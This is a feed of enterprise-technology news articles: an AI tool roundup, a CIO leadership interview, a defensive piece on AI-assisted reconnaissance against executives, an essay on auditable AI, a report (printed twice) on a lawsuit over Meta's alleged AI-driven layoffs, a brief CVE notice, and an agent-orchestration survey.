Standout feature: Ready to scale to large enterprise stacks



Best for: Teams with legacy systems that are folding in agentic options



SuperPenguin



One of the most important parts of an AI service is the bill. SuperPenguin is a product designed to track consumption and make predictions so that the CFO won’t be surprised. The goal is to provide solid estimates about the total cost of each product by allocating costs to customers, features, and teams. If there’s a sudden shift, a “spike detector” will raise an alarm so that dev teams can ensure that the AI spend is worth it.



Pricing: Small free tier for experimentation; Growth tier for teams, starting at $30 per month; Pro tier offers deeper options starting at $200 per month



Standout feature: Strong accounting with invoice reconciliation and PR-level usage tracking



Best for: Teams that need precise cost accounting



Vellum



Prompt engineers spend time fussing over the details of tweaking, improving, and enhancing the words that guide the LLM. Vellum started as a company that would provide the pipeline so that you could manage and improve the prompts that ran again and again. Now the system is growing more powerful, offering a higher level of automation that lets you meta-manage the prompt chain. They’ve also begun marketing it as a form of personal assistant with pre-built connections to many of the major services such as Gmail. Its llm-cost-optimizer can juggle multiple options while finding a cheaper way to execute a prompt, a process the company suggests can save 60% or more.



Pricing: Open-source free tier; Pro plan starts at $35 per month



Standout feature: Focus on multi-model pipelines for true agentic solutions



Best for: Product teams with complex prompt engineering workflows



What next-generation IT leadership looks like
Thu, 16 Jul 2026 11:18:14 +0200

		
					  
						




Today’s CIOs must master a complex balancing act of maintaining operational excellence while enabling AI experimentation, modernizing legacy environments while accelerating innovation, leading workforce transformation while maintaining culture, and communicating fluently across boards, business units, customers, and technical teams alike.



Few leaders understand this balancing act better than former Verizon CIO Jane Connell. Over her career, Connell has helped some of the world’s largest enterprises modernize operations, reduce complexity, and transform how technology enables business value at scale. As a 2026 CIO Hall of Fame inductee, she is widely respected not only for operational excellence and strategic vision but also for her commitment to mentoring, workforce transformation, and preparing the next generation of leaders for a rapidly changing future.



On a recent episode of the Tech Whisperers podcast, we unpacked Connell’s unconventional leadership story and the playbook that has shaped one of technology’s most impactful leaders. In this exclusive interview after the show, edited for length and clarity, Connell shares more lessons from her Hall of Fame journey and why she believes the future of technology leadership will depend less on org charts and more on curiosity, credibility, and human connection.



Dan Roberts: When you think about preparing the next generation of technology leaders, what capabilities or mindsets do you believe will matter most in this next era?



Jane Connell: One is curiosity, or what I call the “why” factor: What do we need to do and why do we need to do it? It’s having a mindset of unlocking the art of the possible. You must be comfortable with what you know, what you don’t know, and asking the question why, because in this era of AI and where technology is going, it’s not about automating things you know; it’s about what you don’t already know, and what that unlocks. AI creates patterns and opportunities and re-engineers through its own intelligence, so there has to be a lot of instinct involved, and you’re going to have to understand and learn what it’s telling you.



I’m on the board of Rutgers, and one of the conversations we’re in with future leaders in education is that you don’t have those entry-level jobs anymore. They’re going to be AI. But those were building blocks for us. We came up the ranks and did those jobs, and that created the knowledge. [Future leaders are] not going to have that, so how do you create the foundation of knowledge — which is that art of asking why or what — to question if the bots or the patterns are biased or wrong. You’re not going to have the experience to rely on and say, “That’s wrong; I know that’s wrong because I did those. I know how this operates.”



Second is having humility and being comfortable in your skin — that you don’t know everything, but you’re going to learn it. You’re going to involve yourself with people. It’s about workforce structure, not organizational structure. Who do you need to talk to, and what do you have to find out?



I also believe followership is going to be huge, because the way work gets done is not hierarchical. It’s going to be engineered based on the process and AI. You have to create followership of people working together, and they’ve got to want to work with you. This isn’t going be “you work for me, do as I say.” Followership is going to be a key skill for influencing and organically having that kind of impact, versus someone with authority.



With that is the accountability to have high integrity, be credible, and be a person someone would trust. Because all this is going to break down the hierarchy of authority, you have to bring that human side and be a really good leader, which means people want to follow you, they trust you, they want to work with you, and they know you’re going to take them to a better place.



One recurring theme throughout your career has been your ability to bridge deep technology expertise with strong business acumen. Why is that combination becoming even more critical in the age of AI and digital transformation?



You can’t impact anything tech-alone. It all resides on having business acumen and then having the technical ability to know how to use tech to solve the problem, not the other way around.



At the root of all this is every company’s Achilles’ heel: the data. Access to data has been a privilege — those who have it, those who don’t. Now you’re bringing structured and unstructured [data] together for these AI models to work, and that’s a new skill set that requires you to know the business inside and outside.



You also have to stay externally relevant and know where innovation is coming from. And you’re going to need to know how to architect that into the way your company goes to market, which requires you to know the business processes, how it runs, and how it could run.



That’s the role of leaders moving forward, immersing yourself in the problems the business needs to solve. There’s no boundaries there. It’s not what department you report in and what process you own. It’s seamless. That’s the duality people need to command and grow into.



Looking back on a career that spans multiple industries with different operating models, cultures, and regulatory environments, what were some of the most important calculated risks you took in terms of your growth?



There were two pivotal moments in my career that were the biggest risks but probably my biggest gains in growth. One was when I went into a full-time tech role and ran infrastructure. I was a fish out of water, and not the likely successor. Part of the reason I did it goes back to a something we talked about on the podcast: Well, why not me? And I want more. That’s just my tenacity.



It was during the dot-com days of the late 90s, early 2000s. It didn’t matter if you were the CEO or a board director, if you didn’t know tech and you didn’t understand how to wield it, you were never going to be successful. I knew that no matter what job I may want in the future, I had to know tech. So it was a calculated decision: I’m going to jump into tech.



Some very senior supply chain leaders who controlled my career told me, “You’re going to fail, and I’ll have a safety net for you when you come back.” Well, I didn’t fail and I never went back. That pressure was there, but I knew why I was doing it. This wasn’t just a job for ego’s sake. This was, I have to know tech. The future is tech. It’s kind of like AI now.



The other pivotal moment was changing industries. I left Johnson & Johnson at a great time. We had gone through a huge transformation, started our global services organization, and the perfect moment happened for me to retire early there. I didn’t know what I wanted to do. It was the first time I took a break in my career to let the world come to me instead of me planning it. Do I want to open a business? Do I want to consult? Do I want to stay retired? I was fortunate enough that I could, but I got bored.



The financial industry wasn’t on my radar. Coming out of healthcare, with the purpose and the connection with saving lives, helping people, it’s easy to connect to. Financial wasn’t, for me. But one of the executive search firms said to me, when you interview, the biggest question hanging over your head is going to be, could you be successful elsewhere because you grew up in J&J. You had advocates, you had influence, you knew the industry. It’s like your deck was stacked for you. Could you do all that when you’re a nobody coming off the street?



So when the CIO role opened at State Street, I interviewed — and talk about being your authentic self. I had already done all this transformation, I already knew the outcomes, I knew everything I did was always enterprise and always end-to-end transformation. And because I wasn’t really vying for the job, I was having this conversation with the CFO and saying, “Here’s what your organization is lacking, here’s the noise you’re going to hear, do you really have the appetite for it?” And “I’d like talk to the COO and see if they’re ready to hear this about the value chain. I may not know your problem yet, but I guarantee it’s one of these three things.”



I was testing their advocacy of, do you really want to transform? Are you ready? Because you have to own this. I can’t take accountabilities for your organizations. I can help you get there. I’m an enabler for you, but you have to own it. And it was a very different interview. By the end of it, I loved Ron [O’Hanley, State Street Chairman and CEO] and his whole team. I took the job on the leadership and the person more than the industry, and it was very successful.



I followed the same recipe when I went to Verizon. Those were big growing moments. They were risky, they were very uncomfortable, but it was the biggest growth that I’ve ever had.



Whether it’s a tough message to the C-suite, a difficult conversation with peers, or helping teams make sense of uncertainty and change, you tell people the truth in a way they can hear it. How can other leaders develop that ability to take people on the journey, especially when the message isn’t easy?



Skirting a problem is not the way to solve it. I’ve never been the person to say what you want to hear. I’ll tell you how you get there, and I’ll get you the results you want, but I’m going to be super honest because I want to manage the expectations of what we have to achieve.



What I’ve learned as a leader is to take accountability. Say what you’re going to do, then do it, and if you hit a roadblock, be the first to call it. That gets you access, because people see it as a calculated risk. Anybody in the C-suite has resources and budget, but the earlier you signal and don’t waste money and resources, the more access to people and resources you will have.



The greatest lesson I learned from one of the leaders in my path was: If you can’t say it in an elevator, and you can’t say it on one slide, you’re talking too much. So, think about it as one slide: What is it you need? What are you going to achieve? What are the risks? What are you taking accountability for? How will you measure it? It doesn’t matter what the message is when you can be that succinct. You’ve got them laser-focused on what it is. You gave them just enough of the periphery to know how you got there, and then it’s their belief in you that you can do it if they give you the money and resources, because that’s what you’re looking for.



It sounds so simple but putting things together succinctly is hard work. You have to take all the unnecessary noise out, and keep the conversation focused. You don’t want their mind wandering, wondering where is she going, or what are they doing? Give it to them upfront and tell them what you need.



You’ve spoken about entering corporate environments early in your career feeling intimidated by people with more traditional credentials or educational backgrounds. What advice can you give rising leaders about battling imposter syndrome?



Take the time to figure out what makes you uncomfortable, what makes you feel like an imposter, or what in that meeting you dread going in where you’re not acting like yourself. Are you more quiet than usual? Are you not asking the question you’d normally ask? Figure out what those issues are, and then address the things that make you uncomfortable. I went to college later because that bothered me. Those credentials do matter. So I addressed it and got my degrees and certifications.



The other thing is to find people you trust, people whose opinion you respect, and bring them on the inside of what you’re working on. Maybe it’s dealing with a difficult business partner. You may not particularly want to be friends with them, but you’re going to have to work with them. Find the people that work effectively with them. You do this with high integrity — this is not about talking about that person — but find the allies that work with them. Nine times out of ten, they feel the way you do, but they found a way to work with the person. Pick their brain. Bring them in the fold and say, “I need this alliance. I can’t get there, and quite frankly, I know I’m resisting because maybe I just don’t like them. How did you get there?”



People are generous. Ask their opinion, ask how they’re showing up. “Am I creating the trigger? Is there something I’m doing in that meeting or in that room that I’m not coming out with a decision or whatever I needed?”



The greatest gift is feedback. There’s feedback you do something with, and there’s feedback you don’t, but either way, it’s a gift. Somebody’s giving it to you. It’s not personal; it’s business. And those things really help build your confidence and leadership style.



In an era increasingly shaped by automation and disruption, Jane Connell believes the most enduring competitive advantage may come from something deeply human: the ability to inspire confidence, curiosity, resilience, and possibility in others. For more advice from this Hall of Fame CIO, tune in to the Tech Whisperers podcast.



See also:




Mastering the chess of IT leadership today



Developing a customer-first culture for IT



Coherence: Where leadership and AI success intersect




The executive profile your security team isn’t defending
Thu, 16 Jul 2026 11:09:26 +0200

		
					  
						




A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substantive reconnaissance in under ten minutes.



What came back was a synthesized profile. Board memberships and the dates they started. A pattern of public commentary that revealed which policy positions the executive held strongly and which ones he would likely bend on under pressure. A philanthropic interest that explained which causes he would respond to if someone framed an ask around them. None of this information was sensitive in isolation. But assembled into a single, queryable narrative, it was something an attacker could use immediately.



What I was looking at was a publicly accessible query to a general-purpose AI tool. And that is the problem most executive protection programs have not yet confronted. The reconnaissance phase for a targeted social engineering attack now takes minutes, not days, and the inputs required are trivial.



AI-aggregated executive data has become an attack surface. Most security programs have not yet adapted to it.



The reconnaissance phase has effectively collapsed



Traditional OSINT work against an executive target required skill and patience. A competent analyst could build a useful profile over several days by working through search engines, corporate filings, social platforms and archived media. That work was a meaningful barrier. It took time and it required judgment about which sources to trust. It also left trails if the attacker was careless.



AI aggregation removes all three constraints.



The speed advantage is obvious but it is not the most important change. The more significant shift is synthesis. A search engine returns documents. An AI tool returns a coherent narrative with inferred relationships and interpreted significance. When I query a major AI platform for a senior executive by name, I get a structured account of their career arc, their professional relationships, their areas of visible influence and frequently their personal interests, relationships and public-facing affiliations.



The MGM Resorts incident reported in 2023 illustrated the principle at scale. Attackers reportedly identified an MGM executive on LinkedIn, used that public profile information to impersonate them in a call to the IT help desk and obtained access credentials within minutes. The OSINT required was minimal and the manipulation was straightforward. What AI tools have done since is make that kind of reconnaissance faster, more complete and available to actors who lack the manual tradecraft to run it themselves.



As the Verizon Data Breach Investigations Report consistently documents, the human element is present in the majority of confirmed breaches, and social engineering remains one of the most reliable initial access vectors.



The accessible nature of AI tools is also expanding the threat population. Attacks that previously required a skilled analyst to design now require only a motivated actor with internet access. That changes the volume and targeting calculus. Executives who were previously too obscure to justify a sophisticated manual attack are now viable targets for anyone with a grievance and a query box.



What should CIOs and CISOs do about it?



The instinct in many organizations is to route anything involving an executive’s public profile to the comms or PR function. That instinct made sense when the risk was reputational. It no longer covers the exposure.



What follows is how I advise clients to structure this work.



Monitor regularly



The starting point is establishing visibility into what AI tools are actually returning about your executive population. Not a one-time audit conducted during a board meeting and forgotten. The profiles shift continuously as new content is indexed, old content is reweighted and the models are updated.



Assign ownership to run structured queries across the major platforms, including ChatGPT, Gemini, Perplexity and the Microsoft Copilot stack, on a regular cadence. Document what you find and track changes. Treat the output the same way you would treat a vulnerability scan as something to be prioritized and acted upon.



Reduce the available attack surface



Work with each executive to identify content that expands their AI-indexed profile without serving any legitimate business purpose. This includes legacy conference bios that contain personal details, social posts that reveal schedule patterns or family context and board announcements that, in aggregate, map an executive’s full professional network. For some of this content, removal is possible and worth pursuing with a targeted effort.



The more important conversation is around future behavior. Executives who habitually overshare on LinkedIn or in conference panels need to understand, concretely, what that sharing enables.



Family member exposure is a consistent blind spot. An attacker who cannot pressure an executive directly may look for leverage through a spouse, a sibling or a child. Executives rarely consider their family members’ public digital footprint as part of their own security posture. It is.



Shape the narrative where reduction isn’t possible



Public company executives, board members with mandatory disclosure obligations and individuals whose public profiles are central to their organizations’ credibility cannot simply go dark.



The objective shifts from reduction to shaping in these cases. The goal is to ensure that what AI tools synthesize from the indexed content is professionally bound and does not inadvertently surface high-value pretext material. This is a joint exercise between security and communications, with security defining risk boundaries and communications executing the strategy.



Train executives on what their own profile looks like



The most effective single intervention I have seen in executive briefings is also the simplest. Open a browser and query an AI platform on the executive in the room. Let them see the output. The reaction is consistent. They are surprised by the synthesis, uncomfortable with specific details that surface and immediately more engaged with the rest of the conversation than they were before.



Abstract threat briefings about social engineering risks rarely land with senior leaders who feel they understand their own security position. Demonstrated evidence of their AI-mediated profile lands every time. As covered in the context of executive-targeted attacks, awareness is a prerequisite for the behavior change that makes protection programs effective.



Integrate this into the executive protection program



This work belongs alongside endpoint security, credential management and physical protection in a unified executive protection program. When it remains a communications function, it lacks the reporting structure, budget authority and operational discipline that security work requires.



Assign an owner with a security mandate. Include AI exposure in the risk register. Report on it at the same cadence as other executive protection metrics. The organizations that have done this well have not created a separate program for it. They have extended an existing one.



What effective executive protection programs now include



The organizations that have integrated AI exposure into their executive protection work share a few characteristics that distinguish them from those still treating it as a communications edge case.




They treat the executive’s public information footprint as a managed attack surface with a named accountable party. Someone is responsible for it, the same way someone is responsible for endpoint patching or identity governance.



They include AI-assisted reconnaissance as a starting condition in red team exercises. Before any social engineering simulation begins, the red team runs the same queries an attacker would run. The pretext they design is based on what those queries return.



Their executive protection briefings include an AI profile review as a standing agenda point. Physical security considerations, credential exposure and public information risk are reviewed together because they are connected. An attacker who knows an executive’s schedule from their public-facing content can time a credential reset attempt or a vishing call with equal precision.




The executive I reviewed several years ago had no idea what his AI-indexed profile contained or what it enabled. Most of the executives I work with today are in the same position. By the time you finish reading this, it is likely those queries have already been run on someone in your organization. The question is whether your program is positioned to detect it and respond in time.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Getting from black-box AI to glass-box AI
Thu, 16 Jul 2026 11:04:17 +0200

		
					  
						




A year ago, most enterprise AI systems generated recommendations. Today, AI systems are approving transactions, routing shipments, updating records, interacting with customers, and triggering downstream software actions with little or no human involvement.



For CIOs, that shift changes the central governance question. The challenge is no longer simply whether an AI model is accurate. It is whether the organization can explain, audit, and defend the decisions the system makes.



When an AI assistant suggests a meeting time or summarizes a document, mistakes are inconvenient. When an autonomous AI system issues a refund, reprices a product, modifies a customer record, or initiates a financial transaction, mistakes carry operational, legal, and reputational consequences.



When those consequences arrive, “the model decided” is not an acceptable explanation.



This is the accountability gap emerging at the center of enterprise AI adoption. Organizations are deploying increasingly autonomous systems while relying on technology that often provides little visibility into how decisions are made. The result is a growing mismatch between the level of authority organizations grant AI and their ability to understand or justify its actions.



Black-box AI may have been acceptable when AI primarily generated predictions. It becomes far more problematic when AI begins taking actions on behalf of the business.



The lesson software already learned



Fortunately, the technology industry has faced a similar challenge before.



As enterprise software systems became more distributed and complex, troubleshooting failures became increasingly difficult. Engineers could no longer rely on intuition to understand what happened when something broke. The solution was observability: the practice of instrumenting systems so their internal state could be understood through logs, metrics, traces, and monitoring.



The goal was not to predict every possible failure in advance. It was to create enough visibility that teams could reconstruct what happened after the fact and identify the root cause.



Enterprise AI now requires a similar discipline.



But AI observability must go beyond traditional software observability. It is not enough to know what action occurred. Organizations also need visibility into why the system believed that action was appropriate.



An auditable AI system should be able to answer questions such as:




What information did the system rely on?



Which tools or data sources did it access?



What alternatives did it consider?



What verification steps were performed?



How confident was it in its conclusion?



What events led to the final action?




These questions are rapidly becoming essential operational requirements rather than technical nice-to-haves.



Why visibility matters more as AI gains autonomy



As AI systems become more autonomous, failures become harder to detect and diagnose.



A human reviewing a single AI-generated recommendation can often spot obvious mistakes. A network of AI agents coordinating multiple tasks across business processes presents a different challenge. Decisions can build upon one another. A flawed assumption early in a workflow can propagate through subsequent actions, creating confident but incorrect outcomes.



The challenge is rarely identifying that something went wrong. Eventually, an error surfaces through a customer complaint, a failed transaction, an audit finding, or an operational disruption.



The challenge is determining why it happened.



Which information influenced the decision? Which tools were consulted? Which safeguards worked as intended? Which ones failed?



Without visibility into the reasoning process, troubleshooting autonomous AI workflows can become significantly more difficult than debugging traditional software systems.



For CIOs responsible for enterprise reliability, compliance, and governance, that lack of visibility creates unacceptable operational risk.



Moving toward glass-box AI



The answer is not to slow AI adoption. The answer is to make AI systems observable.



Increasingly, organizations are seeking AI systems that behave more like a glass box than a black box. The objective is not to expose every parameter inside a neural network. Rather, it is to provide a clear, auditable record of how decisions were reached and why actions were taken.



The most promising approaches share two common characteristics.



The first is verification. Instead of treating a single model’s output as ground truth, systems incorporate independent validation steps before actions are executed. Multiple agents, external checks, business rules, or verification workflows help identify errors before they become operational incidents.



The second is explainability. Effective systems maintain a decision trail that captures inputs, intermediate reasoning steps, tool usage, verification activities, and outputs in a form that human reviewers can understand.



Together, these capabilities create something that has long been expected of human decision-makers but is often missing from AI systems: the ability to show your work.



The regulatory and business reality



The push toward AI observability is not being driven solely by technologists.



Regulators increasingly expect organizations to demonstrate oversight of automated decision-making systems. Emerging AI governance frameworks place growing emphasis on transparency, traceability, accountability, and human oversight.



Customers are moving in the same direction. Whether the decision involves pricing, service, eligibility, or support, people increasingly want the ability to understand and challenge outcomes that affect them.



The result is a convergence of operational, regulatory, and market pressures around a single requirement: organizations must be able to explain what their AI systems are doing.



Three questions every CIO should ask



Before deploying autonomous AI systems, technology leaders should be able to answer three basic questions:




Can we reconstruct the complete decision path that led to an action?



Can we verify critical outputs before actions are executed?



Can a human auditor understand why the decision occurred?




If the answer to any of those questions is no, the organization may be granting more authority to AI than it can responsibly govern.



Accountability will become a competitive advantage



The organizations that succeed with autonomous AI will not necessarily be those that automate the most processes or deploy the largest models. They will be the organizations that combine automation with accountability.



Black-box systems made sense when AI primarily generated predictions. As AI increasingly acts on behalf of businesses, customers, and employees, visibility becomes essential.



The future of enterprise AI will belong not to systems that merely act, but to systems whose actions can be examined, understood, and trusted.



—



New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.



Did AI decide who lost their jobs? Meta is heading to court over that question
Thu, 16 Jul 2026 04:02:55 +0200

		
					  
						




Enterprises that use AI in hiring and firing decisions continue to be under scrutiny, and this time it’s Meta under the microscope.



A legal complaint filed on July 13 in a US District Court in California alleges that Meta used AI systems that unfairly and illegally selected workers for termination while they were out on protected leave.



More than two dozen anonymous plaintiffs are seeking a preliminary injunction that would prevent the company from finalizing their separations or altering their compensation, benefits, or protected leave status.



Meta has countered that the claims lack merit and that its workforce decisions were, and continue to be, made by people, not AI.



An important lesson



These allegations should serve as an important lesson to other businesses using AI in their HR decision-making, analysts note.



“Enterprises must begin by rejecting the convenient assumption that AI improves workforce decisions simply by touching them,” said Sanchit Vir Gogia, chief analyst at Greyhound Research.



There is “scant independent proof” that AI makes layoff choices more accurate or more lawful, he said. “It makes them faster, and faster has never been shown to be fairer.”



The claims against Meta



The complaint states that, on May 20, 2026, Meta began notifying roughly 10% of its workforce (around 8,000 employees) that they had been selected for termination. The company also announced that several thousand more would be reassigned to new AI initiatives. But this came even as Meta reported record revenues in Q1 2026 ($56.31 billion, a 33% year-over-year increase), and pledged to spend upwards of $100 billion on AI this year.



In addition to questioning the need for staff cuts, the filing alleges that Meta used a “constellation” of internal AI systems to score, rank, and select employees for termination. These tools included Meta’s internal AI coworker, “Metamate,” employee-trained “second-brain” agents that replicated their output, algorithms tracking keystrokes and other digital activity, and AI token usage dashboards.



“Meta did not assemble the termination list through the considered judgment of managers who knew the work,” the complaint claims.



The 26 plaintiffs, all current or former employees, requested, took, or were approved for “statutorily protected” leave within 24 months of the workforce reduction, and claim they were “disproportionately selected” for layoff based on scoring that essentially penalized them for exercising their legal right to take leave.



These practices are prohibited by federal and state law; The US Family and Medical Leave Act, for one, prohibits the use of protected leave as a “negative factor” in employment decisions. Further, the plaintiffs allege that Meta violated the US Worker Adjustment and Retraining Notification (WARN) Act that requires employers with 100 or more employees to provide written notice 60 calendar days in advance of mass layoffs.



This notice gives employees reasonable time to seek alternate employment; however, the complaint argues, an employee undergoing “significant medical treatment” or providing “around the clock care” for a “weeks old newborn” or other loved ones “cannot also be told that during this exact same time period they must look for new work.”



In one scenario, according to the filing, a scientist was identified for termination just two days before she gave birth while on pregnancy leave. In another, an engineer’s manager tied his performance rating to “broken time” when an injury prevented him from working. In a third, a researcher was called out after requesting time off following a medical diagnosis.



The plaintiffs are seeking a preliminary injunction pending an independent audit of the “algorithmically assisted selection process” and “resolution of the merits of their claims” in arbitration.



Once terminations are finalized, the harm to plaintiffs “cannot be undone by money damages alone,” the complaint states. For employees out on leave, “every day that goes by constitutes additional harm, in that Meta is taking away the entire purpose of a protected leave.”



Considerations for enterprises



Any system that materially influences who keeps a job is not an HR tool, Gogia noted. “It is high-risk enterprise infrastructure.”



An “AI-determined” process delegates the outcome to the system, while an “AI-assisted” one gives the system the ability to rank, recommend, and summarize, with a human formally making the final decision. Exposure arises in either model, Gogia pointed out, because the output has often been compressed and eliminates detail by the time of executive approval.



There must be one non-negotiable role in the process, Gogia said: A single executive with the authority to halt the process, suspend the model, and delay decisions when evidence does not hold. This person should be “a meaningful reviewer [who] understands the model’s limits, knows the actual work, and holds the authority to challenge the recommendation, with every override visible and reviewable,” he said. At the same time, the objective is to “govern the machine and the manager together,” since human judgement brings its own “risks, favoritism, and proximity” bias.



Gogia advised enterprises to retain fixed memory for auditing, determine who chose the auditor, what was excluded, and whether the result can be reproduced. They should also inventory every source feeding the model and its origins, and run adverse-impact analysis before making any firing decisions.



Leave details must never be identified as inactivity or weak adoption; a protected absence is not ordinary missing data, and the system has to be informed of this. Rather, these circumstances belong in an “independent review lane,” where human reviewers get enough context to “neutralize” the period without receiving specific leave details, Gogia said.



He pointed to another important question: What should the “second brain” AI agent that ingested the employee’s communications and documents to replicate the employee’s output be allowed to do when humans are away, and who owns that output?



Ultimately, said Gogia, “the safest position is not to ban AI from workforce planning. Used with discipline, it can expose duplicated work and inconsistent assessment, and it can challenge human bias rather than automate it.”



How employees can protect their rights



Employees, for their part, need a genuine window in which to challenge inaccurate data before separation becomes “irreversible,” and they should “fight the record, not the algorithm,” Gogia advised.



That means that, while the model cannot explain itself, documented evidence can. Employees should lawfully retain their own reviews, leave approvals, and severance documents, and build a chronology of events: When leave was requested, when performance language changed, when new metrics appeared, Gogia said.



Impacted workers should ask in writing which criteria were used in the decision, whether automated systems materially influenced it, how protected leave was treated, and what information about them influenced the result and how that information was verified.



Further, it’s important to take note of deadlines; the federal discrimination window is typically six months, although that is extended to 10 in many places, and internal processes are “not obliged to respect it,” said Gogia.



His ultimate advice for workers: “Preserve the lawful record, and protect the deadline.”



This article originally appeared on CIO.com.



Did AI decide who lost their jobs? Meta is heading to court over that question
Thu, 16 Jul 2026 03:47:14 +0200

		
					  
						




Enterprises that use AI in hiring and firing decisions continue to be under scrutiny, and this time it’s Meta under the microscope.



A legal complaint filed on July 13 in a US District Court in California alleges that Meta used AI systems that unfairly and illegally selected workers for termination while they were out on protected leave.



More than two dozen anonymous plaintiffs are seeking a preliminary injunction that would prevent the company from finalizing their separations or altering their compensation, benefits, or protected leave status.



Meta has countered that the claims lack merit and that its workforce decisions were, and continue to be, made by people, not AI.



An important lesson



These allegations should serve as an important lesson to other businesses using AI in their HR decision-making, analysts note.



“Enterprises must begin by rejecting the convenient assumption that AI improves workforce decisions simply by touching them,” said Sanchit Vir Gogia, chief analyst at Greyhound Research.



There is “scant independent proof” that AI makes layoff choices more accurate or more lawful, he said. “It makes them faster, and faster has never been shown to be fairer.”



The claims against Meta



The complaint states that, on May 20, 2026, Meta began notifying roughly 10% of its workforce (around 8,000 employees) that they had been selected for termination. The company also announced that several thousand more would be reassigned to new AI initiatives. But this came even as Meta reported record revenues in Q1 2026 ($56.31 billion, a 33% year-over-year increase), and pledged to spend upwards of $100 billion on AI this year.



In addition to questioning the need for staff cuts, the filing alleges that Meta used a “constellation” of internal AI systems to score, rank, and select employees for termination. These tools included Meta’s internal AI coworker, “Metamate,” employee-trained “second-brain” agents that replicated their output, algorithms tracking keystrokes and other digital activity, and AI token usage dashboards.



“Meta did not assemble the termination list through the considered judgment of managers who knew the work,” the complaint claims.



The 26 plaintiffs, all current or former employees, requested, took, or were approved for “statutorily protected” leave within 24 months of the workforce reduction, and claim they were “disproportionately selected” for layoff based on scoring that essentially penalized them for exercising their legal right to take leave.



These practices are prohibited by federal and state law; The US Family and Medical Leave Act, for one, prohibits the use of protected leave as a “negative factor” in employment decisions. Further, the plaintiffs allege that Meta violated the US Worker Adjustment and Retraining Notification (WARN) Act that requires employers with 100 or more employees to provide written notice 60 calendar days in advance of mass layoffs.



This notice gives employees reasonable time to seek alternate employment; however, the complaint argues, an employee undergoing “significant medical treatment” or providing “around the clock care” for a “weeks old newborn” or other loved ones “cannot also be told that during this exact same time period they must look for new work.”



In one scenario, according to the filing, a scientist was identified for termination just two days before she gave birth while on pregnancy leave. In another, an engineer’s manager tied his performance rating to “broken time” when an injury prevented him from working. In a third, a researcher was called out after requesting time off following a medical diagnosis.



The plaintiffs are seeking a preliminary injunction pending an independent audit of the “algorithmically assisted selection process” and “resolution of the merits of their claims” in arbitration.



Once terminations are finalized, the harm to plaintiffs “cannot be undone by money damages alone,” the complaint states. For employees out on leave, “every day that goes by constitutes additional harm, in that Meta is taking away the entire purpose of a protected leave.”



Considerations for enterprises



Any system that materially influences who keeps a job is not an HR tool, Gogia noted. “It is high-risk enterprise infrastructure.”



An “AI-determined” process delegates the outcome to the system, while an “AI-assisted” one gives the system the ability to rank, recommend, and summarize, with a human formally making the final decision. Exposure arises in either model, Gogia pointed out, because the output has often been compressed and eliminates detail by the time of executive approval.



There must be one non-negotiable role in the process, Gogia said: A single executive with the authority to halt the process, suspend the model, and delay decisions when evidence does not hold. This person should be “a meaningful reviewer [who] understands the model’s limits, knows the actual work, and holds the authority to challenge the recommendation, with every override visible and reviewable,” he said. At the same time, the objective is to “govern the machine and the manager together,” since human judgement brings its own “risks, favoritism, and proximity” bias.



Gogia advised enterprises to retain fixed memory for auditing, determine who chose the auditor, what was excluded, and whether the result can be reproduced. They should also inventory every source feeding the model and its origins, and run adverse-impact analysis before making any firing decisions.



Leave details must never be identified as inactivity or weak adoption; a protected absence is not ordinary missing data, and the system has to be informed of this. Rather, these circumstances belong in an “independent review lane,” where human reviewers get enough context to “neutralize” the period without receiving specific leave details, Gogia said.



He pointed to another important question: What should the “second brain” AI agent that ingested the employee’s communications and documents to replicate the employee’s output be allowed to do when humans are away, and who owns that output?



Ultimately, said Gogia, “the safest position is not to ban AI from workforce planning. Used with discipline, it can expose duplicated work and inconsistent assessment, and it can challenge human bias rather than automate it.”



How employees can protect their rights



Employees, for their part, need a genuine window in which to challenge inaccurate data before separation becomes “irreversible,” and they should “fight the record, not the algorithm,” Gogia advised.



That means that, while the model cannot explain itself, documented evidence can. Employees should lawfully retain their own reviews, leave approvals, and severance documents, and build a chronology of events: When leave was requested, when performance language changed, when new metrics appeared, Gogia said.



Impacted workers should ask in writing which criteria were used in the decision, whether automated systems materially influenced it, how protected leave was treated, and what information about them influenced the result and how that information was verified.



Further, it’s important to take note of deadlines; the federal discrimination window is typically six months, although that is extended to 10 in many places, and internal processes are “not obliged to respect it,” said Gogia.



His ultimate advice for workers: “Preserve the lawful record, and protect the deadline.”



CVE-2026-48359 | Adobe Experience Manager XML External Entity Parser xml external entity reference (Nessus ID 327021)
Thu, 16 Jul 2026 02:38:08 +0200
A vulnerability described as critical has been identified in Adobe Experience Manager. The affected element is an unknown function of the component XML External Entity Parser. The manipulation results in xml external entity reference.

This vulnerability was named CVE-2026-48359. The attack may be performed from remote. There is no available exploit.


Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents
Thu, 16 Jul 2026 00:46:36 +0200
Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.
This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.
The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.
